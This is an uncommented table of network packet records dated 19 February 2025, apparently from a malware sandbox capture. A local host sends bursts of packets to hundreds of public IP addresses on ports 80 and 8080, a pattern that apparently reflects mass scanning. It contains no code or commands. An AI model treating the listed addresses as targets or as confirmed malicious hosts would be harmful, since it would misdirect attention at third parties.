Feb 19, 2025 19:48:54.953152895 CET	7685	80	192.168.2.15	88.207.107.121
Feb 19, 2025 19:48:54.953161955 CET	80	7685	88.97.193.18	192.168.2.15
Feb 19, 2025 19:48:54.953172922 CET	80	7685	88.134.122.137	192.168.2.15
Feb 19, 2025 19:48:54.953193903 CET	80	7685	88.21.131.189	192.168.2.15
Feb 19, 2025 19:48:54.953205109 CET	80	7685	88.230.233.115	192.168.2.15
Feb 19, 2025 19:48:54.953214884 CET	80	7685	88.176.87.133	192.168.2.15
Feb 19, 2025 19:48:54.953224897 CET	80	7685	88.10.29.218	192.168.2.15
Feb 19, 2025 19:48:54.953228951 CET	7685	80	192.168.2.15	88.100.21.202
Feb 19, 2025 19:48:54.953228951 CET	7685	80	192.168.2.15	88.134.122.137
Feb 19, 2025 19:48:54.953228951 CET	7685	80	192.168.2.15	88.21.131.189
Feb 19, 2025 19:48:54.953238964 CET	7685	80	192.168.2.15	88.215.253.153
Feb 19, 2025 19:48:54.953241110 CET	7685	80	192.168.2.15	88.97.193.18
Feb 19, 2025 19:48:54.953248024 CET	7685	80	192.168.2.15	88.10.29.218
Feb 19, 2025 19:48:54.953249931 CET	7685	80	192.168.2.15	88.176.87.133
Feb 19, 2025 19:48:54.953253984 CET	7685	80	192.168.2.15	88.230.233.115
Feb 19, 2025 19:48:54.953299046 CET	7685	80	192.168.2.15	88.128.37.199
Feb 19, 2025 19:48:54.972383022 CET	45624	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:54.976937056 CET	7173	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:54.977030039 CET	7173	8080	192.168.2.15	62.0.241.194
Feb 19, 2025 19:48:54.977076054 CET	7173	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:54.977111101 CET	7173	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:54.977133036 CET	7173	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:54.977133036 CET	7173	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:54.977176905 CET	7173	8080	192.168.2.15	62.68.118.99
Feb 19, 2025 19:48:54.977191925 CET	7173	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:54.977221012 CET	7173	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:54.977231026 CET	7173	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:54.977236986 CET	7173	8080	192.168.2.15	31.231.56.252
Feb 19, 2025 19:48:54.977245092 CET	7173	8080	192.168.2.15	31.184.229.106
Feb 19, 2025 19:48:54.977257967 CET	7173	8080	192.168.2.15	94.164.160.141
Feb 19, 2025 19:48:54.977272987 CET	7173	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:54.977284908 CET	7173	8080	192.168.2.15	95.120.169.196
Feb 19, 2025 19:48:54.977288008 CET	7173	8080	192.168.2.15	62.153.169.125
Feb 19, 2025 19:48:54.977299929 CET	7173	8080	192.168.2.15	94.175.142.195
Feb 19, 2025 19:48:54.977323055 CET	7173	8080	192.168.2.15	62.228.222.73
Feb 19, 2025 19:48:54.977329016 CET	7173	8080	192.168.2.15	31.66.192.192
Feb 19, 2025 19:48:54.977343082 CET	7173	8080	192.168.2.15	62.46.154.64
Feb 19, 2025 19:48:54.977348089 CET	7173	8080	192.168.2.15	62.119.60.228
Feb 19, 2025 19:48:54.977358103 CET	7173	8080	192.168.2.15	95.5.110.74
Feb 19, 2025 19:48:54.977364063 CET	7173	8080	192.168.2.15	31.151.127.101
Feb 19, 2025 19:48:54.977380037 CET	7173	8080	192.168.2.15	85.8.23.154
Feb 19, 2025 19:48:54.977391958 CET	7173	8080	192.168.2.15	31.105.120.142
Feb 19, 2025 19:48:54.977399111 CET	80	45624	88.53.232.157	192.168.2.15
Feb 19, 2025 19:48:54.977416039 CET	7173	8080	192.168.2.15	94.104.25.196
Feb 19, 2025 19:48:54.977435112 CET	7173	8080	192.168.2.15	31.93.48.66
Feb 19, 2025 19:48:54.977437973 CET	45624	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:54.977458000 CET	7173	8080	192.168.2.15	95.73.236.84
Feb 19, 2025 19:48:54.977468967 CET	7173	8080	192.168.2.15	31.135.178.208
Feb 19, 2025 19:48:54.977483988 CET	7173	8080	192.168.2.15	94.192.10.124
Feb 19, 2025 19:48:54.977504015 CET	7173	8080	192.168.2.15	85.29.44.72
Feb 19, 2025 19:48:54.977510929 CET	7173	8080	192.168.2.15	31.198.8.201
Feb 19, 2025 19:48:54.977528095 CET	7173	8080	192.168.2.15	31.34.120.229
Feb 19, 2025 19:48:54.977566957 CET	7173	8080	192.168.2.15	85.195.248.184
Feb 19, 2025 19:48:54.977567911 CET	7173	8080	192.168.2.15	95.53.174.89
Feb 19, 2025 19:48:54.977581024 CET	7173	8080	192.168.2.15	31.247.184.196
Feb 19, 2025 19:48:54.977597952 CET	7173	8080	192.168.2.15	95.78.195.183
Feb 19, 2025 19:48:54.977627039 CET	7173	8080	192.168.2.15	62.245.10.161
Feb 19, 2025 19:48:54.977629900 CET	7173	8080	192.168.2.15	31.131.206.35
Feb 19, 2025 19:48:54.977638960 CET	7173	8080	192.168.2.15	62.197.12.41
Feb 19, 2025 19:48:54.977662086 CET	7173	8080	192.168.2.15	85.135.74.116
Feb 19, 2025 19:48:54.977668047 CET	7173	8080	192.168.2.15	95.157.93.99
Feb 19, 2025 19:48:54.977695942 CET	7173	8080	192.168.2.15	62.121.55.49
Feb 19, 2025 19:48:54.977698088 CET	7173	8080	192.168.2.15	85.172.25.236
Feb 19, 2025 19:48:54.977715969 CET	7173	8080	192.168.2.15	85.230.1.86
Feb 19, 2025 19:48:54.977725983 CET	7173	8080	192.168.2.15	31.6.194.22
Feb 19, 2025 19:48:54.977730036 CET	7173	8080	192.168.2.15	95.189.190.59
Feb 19, 2025 19:48:54.977746010 CET	7173	8080	192.168.2.15	85.111.235.56
Feb 19, 2025 19:48:54.977761984 CET	7173	8080	192.168.2.15	94.17.40.18
Feb 19, 2025 19:48:54.977762938 CET	7173	8080	192.168.2.15	94.89.163.103
Feb 19, 2025 19:48:54.977797985 CET	7173	8080	192.168.2.15	95.89.170.219
Feb 19, 2025 19:48:54.977809906 CET	7173	8080	192.168.2.15	62.106.13.19
Feb 19, 2025 19:48:54.977844000 CET	7173	8080	192.168.2.15	62.215.10.55
Feb 19, 2025 19:48:54.977854013 CET	7173	8080	192.168.2.15	94.34.54.224
Feb 19, 2025 19:48:54.977900028 CET	7173	8080	192.168.2.15	62.50.11.62
Feb 19, 2025 19:48:54.977902889 CET	7173	8080	192.168.2.15	95.24.212.251
Feb 19, 2025 19:48:54.977916002 CET	7173	8080	192.168.2.15	31.241.176.194
Feb 19, 2025 19:48:54.977926016 CET	7173	8080	192.168.2.15	94.97.130.0
Feb 19, 2025 19:48:54.977941036 CET	7173	8080	192.168.2.15	62.60.208.178
Feb 19, 2025 19:48:54.977948904 CET	7173	8080	192.168.2.15	62.115.71.163
Feb 19, 2025 19:48:54.977961063 CET	7173	8080	192.168.2.15	94.67.105.25
Feb 19, 2025 19:48:54.977993965 CET	7173	8080	192.168.2.15	94.7.71.214
Feb 19, 2025 19:48:54.977997065 CET	7173	8080	192.168.2.15	85.130.252.168
Feb 19, 2025 19:48:54.978009939 CET	7173	8080	192.168.2.15	31.24.147.255
Feb 19, 2025 19:48:54.978015900 CET	7173	8080	192.168.2.15	62.100.13.7
Feb 19, 2025 19:48:54.978029966 CET	7173	8080	192.168.2.15	94.60.160.109
Feb 19, 2025 19:48:54.978043079 CET	7173	8080	192.168.2.15	62.156.169.174
Feb 19, 2025 19:48:54.978055954 CET	7173	8080	192.168.2.15	85.48.176.164
Feb 19, 2025 19:48:54.978069067 CET	7173	8080	192.168.2.15	95.135.132.198
Feb 19, 2025 19:48:54.978071928 CET	7173	8080	192.168.2.15	31.163.238.83
Feb 19, 2025 19:48:54.978085041 CET	7173	8080	192.168.2.15	85.137.187.169
Feb 19, 2025 19:48:54.978096962 CET	7173	8080	192.168.2.15	94.29.169.206
Feb 19, 2025 19:48:54.978105068 CET	7173	8080	192.168.2.15	31.39.243.200
Feb 19, 2025 19:48:54.978116989 CET	7173	8080	192.168.2.15	94.147.194.97
Feb 19, 2025 19:48:54.978142977 CET	7173	8080	192.168.2.15	85.45.107.33
Feb 19, 2025 19:48:54.978143930 CET	7173	8080	192.168.2.15	31.86.23.151
Feb 19, 2025 19:48:54.978151083 CET	7173	8080	192.168.2.15	85.225.154.24
Feb 19, 2025 19:48:54.978151083 CET	7173	8080	192.168.2.15	85.35.80.33
Feb 19, 2025 19:48:54.978158951 CET	7173	8080	192.168.2.15	95.255.219.145
Feb 19, 2025 19:48:54.978169918 CET	7173	8080	192.168.2.15	94.142.254.159
Feb 19, 2025 19:48:54.978182077 CET	7173	8080	192.168.2.15	31.109.1.151
Feb 19, 2025 19:48:54.978184938 CET	7173	8080	192.168.2.15	95.69.172.120
Feb 19, 2025 19:48:54.978199959 CET	7173	8080	192.168.2.15	62.235.202.157
Feb 19, 2025 19:48:54.978209972 CET	7173	8080	192.168.2.15	95.35.123.213
Feb 19, 2025 19:48:54.978224993 CET	7173	8080	192.168.2.15	95.174.216.240
Feb 19, 2025 19:48:54.978224993 CET	7173	8080	192.168.2.15	85.216.239.61
Feb 19, 2025 19:48:54.978233099 CET	7173	8080	192.168.2.15	95.203.203.43
Feb 19, 2025 19:48:54.978247881 CET	7173	8080	192.168.2.15	62.102.34.119
Feb 19, 2025 19:48:54.978259087 CET	7173	8080	192.168.2.15	85.249.9.179
Feb 19, 2025 19:48:54.978276014 CET	7173	8080	192.168.2.15	85.91.139.162
Feb 19, 2025 19:48:54.978281021 CET	7173	8080	192.168.2.15	31.118.170.201
Feb 19, 2025 19:48:54.978291035 CET	7173	8080	192.168.2.15	94.234.46.48
Feb 19, 2025 19:48:54.978303909 CET	7173	8080	192.168.2.15	62.226.10.233
Feb 19, 2025 19:48:54.978323936 CET	7173	8080	192.168.2.15	95.42.195.7
Feb 19, 2025 19:48:54.978323936 CET	7173	8080	192.168.2.15	85.174.63.191
Feb 19, 2025 19:48:54.978360891 CET	7173	8080	192.168.2.15	31.105.208.64
Feb 19, 2025 19:48:54.978370905 CET	7173	8080	192.168.2.15	62.212.7.218
Feb 19, 2025 19:48:54.978379965 CET	7173	8080	192.168.2.15	62.20.49.222
Feb 19, 2025 19:48:54.978442907 CET	7173	8080	192.168.2.15	85.173.33.207
Feb 19, 2025 19:48:54.978451967 CET	7173	8080	192.168.2.15	85.227.254.119
Feb 19, 2025 19:48:54.978452921 CET	7173	8080	192.168.2.15	94.200.2.189
Feb 19, 2025 19:48:54.978518009 CET	7173	8080	192.168.2.15	94.205.82.141
Feb 19, 2025 19:48:54.978523016 CET	7173	8080	192.168.2.15	85.49.150.40
Feb 19, 2025 19:48:54.978535891 CET	7173	8080	192.168.2.15	95.11.28.227
Feb 19, 2025 19:48:54.978550911 CET	7173	8080	192.168.2.15	31.22.122.98
Feb 19, 2025 19:48:54.978557110 CET	7173	8080	192.168.2.15	62.179.135.218
Feb 19, 2025 19:48:54.978564978 CET	7173	8080	192.168.2.15	31.4.196.14
Feb 19, 2025 19:48:54.978578091 CET	7173	8080	192.168.2.15	31.196.214.220
Feb 19, 2025 19:48:54.978612900 CET	7173	8080	192.168.2.15	31.156.105.178
Feb 19, 2025 19:48:54.978621006 CET	7173	8080	192.168.2.15	31.10.213.110
Feb 19, 2025 19:48:54.978631973 CET	7173	8080	192.168.2.15	31.164.243.15
Feb 19, 2025 19:48:54.978643894 CET	7173	8080	192.168.2.15	62.63.64.84
Feb 19, 2025 19:48:54.978657961 CET	7173	8080	192.168.2.15	62.95.163.197
Feb 19, 2025 19:48:54.978662968 CET	7173	8080	192.168.2.15	94.110.32.203
Feb 19, 2025 19:48:54.978694916 CET	7173	8080	192.168.2.15	62.123.210.89
Feb 19, 2025 19:48:54.978698015 CET	7173	8080	192.168.2.15	62.142.97.101
Feb 19, 2025 19:48:54.978705883 CET	7173	8080	192.168.2.15	94.117.49.155
Feb 19, 2025 19:48:54.978713989 CET	7173	8080	192.168.2.15	85.187.165.197
Feb 19, 2025 19:48:54.978718042 CET	7173	8080	192.168.2.15	85.205.160.109
Feb 19, 2025 19:48:54.978729963 CET	7173	8080	192.168.2.15	85.22.21.98
Feb 19, 2025 19:48:54.978741884 CET	7173	8080	192.168.2.15	94.59.22.152
Feb 19, 2025 19:48:54.978749990 CET	7173	8080	192.168.2.15	85.145.58.192
Feb 19, 2025 19:48:54.978769064 CET	7173	8080	192.168.2.15	62.17.55.133
Feb 19, 2025 19:48:54.978794098 CET	7173	8080	192.168.2.15	31.158.253.6
Feb 19, 2025 19:48:54.978797913 CET	7173	8080	192.168.2.15	31.149.73.20
Feb 19, 2025 19:48:54.978817940 CET	7173	8080	192.168.2.15	62.230.4.2
Feb 19, 2025 19:48:54.978832006 CET	7173	8080	192.168.2.15	62.213.247.39
Feb 19, 2025 19:48:54.978843927 CET	7173	8080	192.168.2.15	94.31.7.230
Feb 19, 2025 19:48:54.978857040 CET	7173	8080	192.168.2.15	85.234.184.157
Feb 19, 2025 19:48:54.978878021 CET	7173	8080	192.168.2.15	31.221.155.32
Feb 19, 2025 19:48:54.978882074 CET	7173	8080	192.168.2.15	31.43.209.20
Feb 19, 2025 19:48:54.978895903 CET	7173	8080	192.168.2.15	62.10.196.128
Feb 19, 2025 19:48:54.978909969 CET	7173	8080	192.168.2.15	31.60.100.177
Feb 19, 2025 19:48:54.978915930 CET	7173	8080	192.168.2.15	95.208.188.57
Feb 19, 2025 19:48:54.978925943 CET	7173	8080	192.168.2.15	62.20.84.254
Feb 19, 2025 19:48:54.978957891 CET	7173	8080	192.168.2.15	94.207.77.103
Feb 19, 2025 19:48:54.978971958 CET	7173	8080	192.168.2.15	62.61.116.218
Feb 19, 2025 19:48:54.978986025 CET	7173	8080	192.168.2.15	95.7.253.175
Feb 19, 2025 19:48:54.978991985 CET	7173	8080	192.168.2.15	85.20.50.34
Feb 19, 2025 19:48:54.979012966 CET	7173	8080	192.168.2.15	85.119.201.202
Feb 19, 2025 19:48:54.979038000 CET	7173	8080	192.168.2.15	95.121.118.141
Feb 19, 2025 19:48:54.979054928 CET	7173	8080	192.168.2.15	85.41.61.255
Feb 19, 2025 19:48:54.979055882 CET	7173	8080	192.168.2.15	31.23.24.100
Feb 19, 2025 19:48:54.979055882 CET	7173	8080	192.168.2.15	62.114.1.248
Feb 19, 2025 19:48:54.979065895 CET	7173	8080	192.168.2.15	95.243.208.232
Feb 19, 2025 19:48:54.979123116 CET	7173	8080	192.168.2.15	85.153.73.153
Feb 19, 2025 19:48:54.979140043 CET	7173	8080	192.168.2.15	94.135.15.121
Feb 19, 2025 19:48:54.979141951 CET	7173	8080	192.168.2.15	95.143.206.70
Feb 19, 2025 19:48:54.979157925 CET	7173	8080	192.168.2.15	95.85.114.35
Feb 19, 2025 19:48:54.979170084 CET	7173	8080	192.168.2.15	94.29.4.79
Feb 19, 2025 19:48:54.979202032 CET	7173	8080	192.168.2.15	94.107.68.241
Feb 19, 2025 19:48:54.979207993 CET	7173	8080	192.168.2.15	85.129.162.252
Feb 19, 2025 19:48:54.979228973 CET	7173	8080	192.168.2.15	62.203.222.10
Feb 19, 2025 19:48:54.979232073 CET	7173	8080	192.168.2.15	95.122.182.107
Feb 19, 2025 19:48:54.979247093 CET	7173	8080	192.168.2.15	95.253.186.207
Feb 19, 2025 19:48:54.979255915 CET	7173	8080	192.168.2.15	94.149.158.4
Feb 19, 2025 19:48:54.979279995 CET	7173	8080	192.168.2.15	62.80.151.29
Feb 19, 2025 19:48:54.979286909 CET	7173	8080	192.168.2.15	62.42.254.34
Feb 19, 2025 19:48:54.979291916 CET	7173	8080	192.168.2.15	62.72.53.91
Feb 19, 2025 19:48:54.979310036 CET	7173	8080	192.168.2.15	94.139.207.225
Feb 19, 2025 19:48:54.979321957 CET	7173	8080	192.168.2.15	85.130.6.72
Feb 19, 2025 19:48:54.979337931 CET	7173	8080	192.168.2.15	95.24.112.41
Feb 19, 2025 19:48:54.979342937 CET	7173	8080	192.168.2.15	85.61.55.244
Feb 19, 2025 19:48:54.979355097 CET	7173	8080	192.168.2.15	95.79.32.55
Feb 19, 2025 19:48:54.979362011 CET	7173	8080	192.168.2.15	62.232.206.63
Feb 19, 2025 19:48:54.979374886 CET	7173	8080	192.168.2.15	94.81.70.211
Feb 19, 2025 19:48:54.979386091 CET	7173	8080	192.168.2.15	95.12.80.237
Feb 19, 2025 19:48:54.979399920 CET	7173	8080	192.168.2.15	94.189.104.130
Feb 19, 2025 19:48:54.979429960 CET	7173	8080	192.168.2.15	85.87.112.175
Feb 19, 2025 19:48:54.979444027 CET	7173	8080	192.168.2.15	85.138.117.177
Feb 19, 2025 19:48:54.979446888 CET	7173	8080	192.168.2.15	85.172.113.54
Feb 19, 2025 19:48:54.979460955 CET	7173	8080	192.168.2.15	85.3.191.159
Feb 19, 2025 19:48:54.979469061 CET	7173	8080	192.168.2.15	31.23.173.226
Feb 19, 2025 19:48:54.979477882 CET	7173	8080	192.168.2.15	62.149.129.134
Feb 19, 2025 19:48:54.979481936 CET	7173	8080	192.168.2.15	95.119.185.174
Feb 19, 2025 19:48:54.979492903 CET	7173	8080	192.168.2.15	62.210.184.69
Feb 19, 2025 19:48:54.979520082 CET	7173	8080	192.168.2.15	31.125.98.207
Feb 19, 2025 19:48:54.979538918 CET	7173	8080	192.168.2.15	85.110.74.103
Feb 19, 2025 19:48:54.979542971 CET	7173	8080	192.168.2.15	62.19.183.203
Feb 19, 2025 19:48:54.979542971 CET	7173	8080	192.168.2.15	94.134.29.121
Feb 19, 2025 19:48:54.979542971 CET	7173	8080	192.168.2.15	31.95.143.49
Feb 19, 2025 19:48:54.979554892 CET	7173	8080	192.168.2.15	62.162.46.229
Feb 19, 2025 19:48:54.979569912 CET	7173	8080	192.168.2.15	31.136.102.121
Feb 19, 2025 19:48:54.979572058 CET	7173	8080	192.168.2.15	95.123.110.62
Feb 19, 2025 19:48:54.979584932 CET	7173	8080	192.168.2.15	94.128.200.177
Feb 19, 2025 19:48:54.979588985 CET	7173	8080	192.168.2.15	31.35.9.95
Feb 19, 2025 19:48:54.979617119 CET	7173	8080	192.168.2.15	85.156.250.94
Feb 19, 2025 19:48:54.979626894 CET	7173	8080	192.168.2.15	62.241.235.213
Feb 19, 2025 19:48:54.979641914 CET	7173	8080	192.168.2.15	95.10.220.216
Feb 19, 2025 19:48:54.979645967 CET	7173	8080	192.168.2.15	94.191.128.241
Feb 19, 2025 19:48:54.979660034 CET	7173	8080	192.168.2.15	85.139.42.16
Feb 19, 2025 19:48:54.979701042 CET	7173	8080	192.168.2.15	31.113.54.44
Feb 19, 2025 19:48:54.979705095 CET	7173	8080	192.168.2.15	94.136.6.181
Feb 19, 2025 19:48:54.979716063 CET	7173	8080	192.168.2.15	95.76.253.23
Feb 19, 2025 19:48:54.979722977 CET	7173	8080	192.168.2.15	95.215.69.245
Feb 19, 2025 19:48:54.979738951 CET	7173	8080	192.168.2.15	95.145.134.115
Feb 19, 2025 19:48:54.979738951 CET	7173	8080	192.168.2.15	95.92.254.202
Feb 19, 2025 19:48:54.979752064 CET	7173	8080	192.168.2.15	62.123.33.37
Feb 19, 2025 19:48:54.979765892 CET	7173	8080	192.168.2.15	95.68.106.195
Feb 19, 2025 19:48:54.979765892 CET	7173	8080	192.168.2.15	85.199.118.235
Feb 19, 2025 19:48:54.979779959 CET	7173	8080	192.168.2.15	62.239.179.224
Feb 19, 2025 19:48:54.979780912 CET	7173	8080	192.168.2.15	85.2.96.101
Feb 19, 2025 19:48:54.979794025 CET	7173	8080	192.168.2.15	95.131.113.59
Feb 19, 2025 19:48:54.979804993 CET	7173	8080	192.168.2.15	95.50.21.252
Feb 19, 2025 19:48:54.979818106 CET	7173	8080	192.168.2.15	95.83.28.13
Feb 19, 2025 19:48:54.979818106 CET	7173	8080	192.168.2.15	95.50.78.220
Feb 19, 2025 19:48:54.979835033 CET	7173	8080	192.168.2.15	62.35.254.141
Feb 19, 2025 19:48:54.979846001 CET	7173	8080	192.168.2.15	94.99.142.92
Feb 19, 2025 19:48:54.979857922 CET	7173	8080	192.168.2.15	85.3.204.244
Feb 19, 2025 19:48:54.979871035 CET	7173	8080	192.168.2.15	95.83.221.236
Feb 19, 2025 19:48:54.979883909 CET	7173	8080	192.168.2.15	95.168.189.176
Feb 19, 2025 19:48:54.979891062 CET	7173	8080	192.168.2.15	95.182.108.116
Feb 19, 2025 19:48:54.979902983 CET	7173	8080	192.168.2.15	85.20.65.148
Feb 19, 2025 19:48:54.979918003 CET	7173	8080	192.168.2.15	31.202.250.224
Feb 19, 2025 19:48:54.979928970 CET	7173	8080	192.168.2.15	31.212.93.228
Feb 19, 2025 19:48:54.979940891 CET	7173	8080	192.168.2.15	62.163.208.214
Feb 19, 2025 19:48:54.979945898 CET	7173	8080	192.168.2.15	85.165.227.17
Feb 19, 2025 19:48:54.979958057 CET	7173	8080	192.168.2.15	95.115.53.191
Feb 19, 2025 19:48:54.979969978 CET	7173	8080	192.168.2.15	94.101.147.240
Feb 19, 2025 19:48:54.979978085 CET	7173	8080	192.168.2.15	95.131.49.97
Feb 19, 2025 19:48:54.980015039 CET	7173	8080	192.168.2.15	94.194.200.91
Feb 19, 2025 19:48:54.980030060 CET	7173	8080	192.168.2.15	85.201.80.111
Feb 19, 2025 19:48:54.980032921 CET	7173	8080	192.168.2.15	31.153.171.72
Feb 19, 2025 19:48:54.980037928 CET	7173	8080	192.168.2.15	94.31.191.98
Feb 19, 2025 19:48:54.980108976 CET	7173	8080	192.168.2.15	85.78.178.154
Feb 19, 2025 19:48:54.980108976 CET	7173	8080	192.168.2.15	94.172.103.69
Feb 19, 2025 19:48:54.980149031 CET	7173	8080	192.168.2.15	94.237.52.19
Feb 19, 2025 19:48:54.980207920 CET	7173	8080	192.168.2.15	85.85.77.75
Feb 19, 2025 19:48:54.980222940 CET	7173	8080	192.168.2.15	85.76.172.236
Feb 19, 2025 19:48:54.980237961 CET	7173	8080	192.168.2.15	62.147.56.78
Feb 19, 2025 19:48:54.980242014 CET	7173	8080	192.168.2.15	85.45.182.163
Feb 19, 2025 19:48:54.980278015 CET	7173	8080	192.168.2.15	31.223.155.128
Feb 19, 2025 19:48:54.980321884 CET	7173	8080	192.168.2.15	31.164.172.8
Feb 19, 2025 19:48:54.980339050 CET	7173	8080	192.168.2.15	85.9.75.200
Feb 19, 2025 19:48:54.980361938 CET	7173	8080	192.168.2.15	31.101.221.153
Feb 19, 2025 19:48:54.980361938 CET	7173	8080	192.168.2.15	31.193.192.65
Feb 19, 2025 19:48:54.980380058 CET	7173	8080	192.168.2.15	94.192.234.52
Feb 19, 2025 19:48:54.980392933 CET	7173	8080	192.168.2.15	85.32.240.4
Feb 19, 2025 19:48:54.980400085 CET	7173	8080	192.168.2.15	95.94.114.245
Feb 19, 2025 19:48:54.980412960 CET	7173	8080	192.168.2.15	62.148.179.70
Feb 19, 2025 19:48:54.980415106 CET	7173	8080	192.168.2.15	31.23.217.91
Feb 19, 2025 19:48:54.980448008 CET	7173	8080	192.168.2.15	95.83.225.69
Feb 19, 2025 19:48:54.980463028 CET	7173	8080	192.168.2.15	85.172.95.161
Feb 19, 2025 19:48:54.980475903 CET	7173	8080	192.168.2.15	95.49.127.5
Feb 19, 2025 19:48:54.980479002 CET	7173	8080	192.168.2.15	62.80.66.180
Feb 19, 2025 19:48:54.980488062 CET	7173	8080	192.168.2.15	95.215.215.241
Feb 19, 2025 19:48:54.980500937 CET	7173	8080	192.168.2.15	94.3.1.161
Feb 19, 2025 19:48:54.980534077 CET	7173	8080	192.168.2.15	31.153.20.36
Feb 19, 2025 19:48:54.980535030 CET	7173	8080	192.168.2.15	62.1.231.184
Feb 19, 2025 19:48:54.980550051 CET	7173	8080	192.168.2.15	94.134.160.220
Feb 19, 2025 19:48:54.980552912 CET	7173	8080	192.168.2.15	94.132.120.195
Feb 19, 2025 19:48:54.980564117 CET	7173	8080	192.168.2.15	62.219.246.187
Feb 19, 2025 19:48:54.980578899 CET	7173	8080	192.168.2.15	62.163.86.202
Feb 19, 2025 19:48:54.980597019 CET	7173	8080	192.168.2.15	94.253.7.93
Feb 19, 2025 19:48:54.980603933 CET	7173	8080	192.168.2.15	95.161.30.84
Feb 19, 2025 19:48:54.980632067 CET	7173	8080	192.168.2.15	94.95.74.154
Feb 19, 2025 19:48:54.980655909 CET	7173	8080	192.168.2.15	94.90.38.95
Feb 19, 2025 19:48:54.980699062 CET	7173	8080	192.168.2.15	62.210.92.251
Feb 19, 2025 19:48:54.980705023 CET	7173	8080	192.168.2.15	85.252.103.38
Feb 19, 2025 19:48:54.980717897 CET	7173	8080	192.168.2.15	62.252.219.41
Feb 19, 2025 19:48:54.980727911 CET	7173	8080	192.168.2.15	31.230.89.169
Feb 19, 2025 19:48:54.980762959 CET	7173	8080	192.168.2.15	94.82.31.23
Feb 19, 2025 19:48:54.980773926 CET	7173	8080	192.168.2.15	95.241.196.243
Feb 19, 2025 19:48:54.980787039 CET	7173	8080	192.168.2.15	62.44.207.64
Feb 19, 2025 19:48:54.980830908 CET	7173	8080	192.168.2.15	31.132.126.172
Feb 19, 2025 19:48:54.980839968 CET	7173	8080	192.168.2.15	95.130.225.91
Feb 19, 2025 19:48:54.980880022 CET	7173	8080	192.168.2.15	85.133.24.192
Feb 19, 2025 19:48:54.980887890 CET	7173	8080	192.168.2.15	31.183.208.112
Feb 19, 2025 19:48:54.980901003 CET	7173	8080	192.168.2.15	31.32.180.63
Feb 19, 2025 19:48:54.980948925 CET	7173	8080	192.168.2.15	85.163.230.70
Feb 19, 2025 19:48:54.980962038 CET	7173	8080	192.168.2.15	94.78.170.193
Feb 19, 2025 19:48:54.981005907 CET	7173	8080	192.168.2.15	62.145.3.145
Feb 19, 2025 19:48:54.981005907 CET	7173	8080	192.168.2.15	31.38.216.26
Feb 19, 2025 19:48:54.981017113 CET	7173	8080	192.168.2.15	85.225.41.193
Feb 19, 2025 19:48:54.981059074 CET	7173	8080	192.168.2.15	85.15.174.152
Feb 19, 2025 19:48:54.981066942 CET	7173	8080	192.168.2.15	94.84.192.127
Feb 19, 2025 19:48:54.981110096 CET	7173	8080	192.168.2.15	95.230.173.244
Feb 19, 2025 19:48:54.981122971 CET	7173	8080	192.168.2.15	62.119.4.207
Feb 19, 2025 19:48:54.981164932 CET	7173	8080	192.168.2.15	95.86.102.120
Feb 19, 2025 19:48:54.981190920 CET	7173	8080	192.168.2.15	62.16.34.99
Feb 19, 2025 19:48:54.981203079 CET	7173	8080	192.168.2.15	94.140.222.185
Feb 19, 2025 19:48:54.981204987 CET	7173	8080	192.168.2.15	62.41.48.227
Feb 19, 2025 19:48:54.981221914 CET	7173	8080	192.168.2.15	95.37.71.29
Feb 19, 2025 19:48:54.981228113 CET	7173	8080	192.168.2.15	85.131.242.251
Feb 19, 2025 19:48:54.981256008 CET	7173	8080	192.168.2.15	94.29.174.101
Feb 19, 2025 19:48:54.981264114 CET	7173	8080	192.168.2.15	95.171.43.133
Feb 19, 2025 19:48:54.981280088 CET	7173	8080	192.168.2.15	85.86.78.218
Feb 19, 2025 19:48:54.981283903 CET	7173	8080	192.168.2.15	62.226.112.149
Feb 19, 2025 19:48:54.981295109 CET	7173	8080	192.168.2.15	85.237.233.79
Feb 19, 2025 19:48:54.981306076 CET	7173	8080	192.168.2.15	62.245.243.135
Feb 19, 2025 19:48:54.981314898 CET	7173	8080	192.168.2.15	85.232.156.169
Feb 19, 2025 19:48:54.981343985 CET	7173	8080	192.168.2.15	95.45.106.9
Feb 19, 2025 19:48:54.981360912 CET	7173	8080	192.168.2.15	95.68.238.37
Feb 19, 2025 19:48:54.981373072 CET	7173	8080	192.168.2.15	95.63.15.200
Feb 19, 2025 19:48:54.981379986 CET	7173	8080	192.168.2.15	94.178.1.72
Feb 19, 2025 19:48:54.981398106 CET	7173	8080	192.168.2.15	94.202.142.211
Feb 19, 2025 19:48:54.981432915 CET	7173	8080	192.168.2.15	62.99.118.23
Feb 19, 2025 19:48:54.981437922 CET	7173	8080	192.168.2.15	62.229.148.131
Feb 19, 2025 19:48:54.981452942 CET	7173	8080	192.168.2.15	85.96.171.104
Feb 19, 2025 19:48:54.981488943 CET	7173	8080	192.168.2.15	94.123.105.212
Feb 19, 2025 19:48:54.981498003 CET	7173	8080	192.168.2.15	94.242.4.89
Feb 19, 2025 19:48:54.981535912 CET	7173	8080	192.168.2.15	85.229.112.151
Feb 19, 2025 19:48:54.981540918 CET	7173	8080	192.168.2.15	62.65.17.175
Feb 19, 2025 19:48:54.981585026 CET	7173	8080	192.168.2.15	31.80.77.118
Feb 19, 2025 19:48:54.981600046 CET	7173	8080	192.168.2.15	62.69.172.87
Feb 19, 2025 19:48:54.981641054 CET	7173	8080	192.168.2.15	31.13.184.27
Feb 19, 2025 19:48:54.981652975 CET	7173	8080	192.168.2.15	94.72.115.197
Feb 19, 2025 19:48:54.981662035 CET	7173	8080	192.168.2.15	62.16.95.77
Feb 19, 2025 19:48:54.981671095 CET	7173	8080	192.168.2.15	85.98.47.228
Feb 19, 2025 19:48:54.981705904 CET	7173	8080	192.168.2.15	95.77.143.219
Feb 19, 2025 19:48:54.981722116 CET	7173	8080	192.168.2.15	31.150.141.55
Feb 19, 2025 19:48:54.981760025 CET	7173	8080	192.168.2.15	31.135.2.6
Feb 19, 2025 19:48:54.981774092 CET	7173	8080	192.168.2.15	95.55.162.225
Feb 19, 2025 19:48:54.981777906 CET	7173	8080	192.168.2.15	31.91.73.132
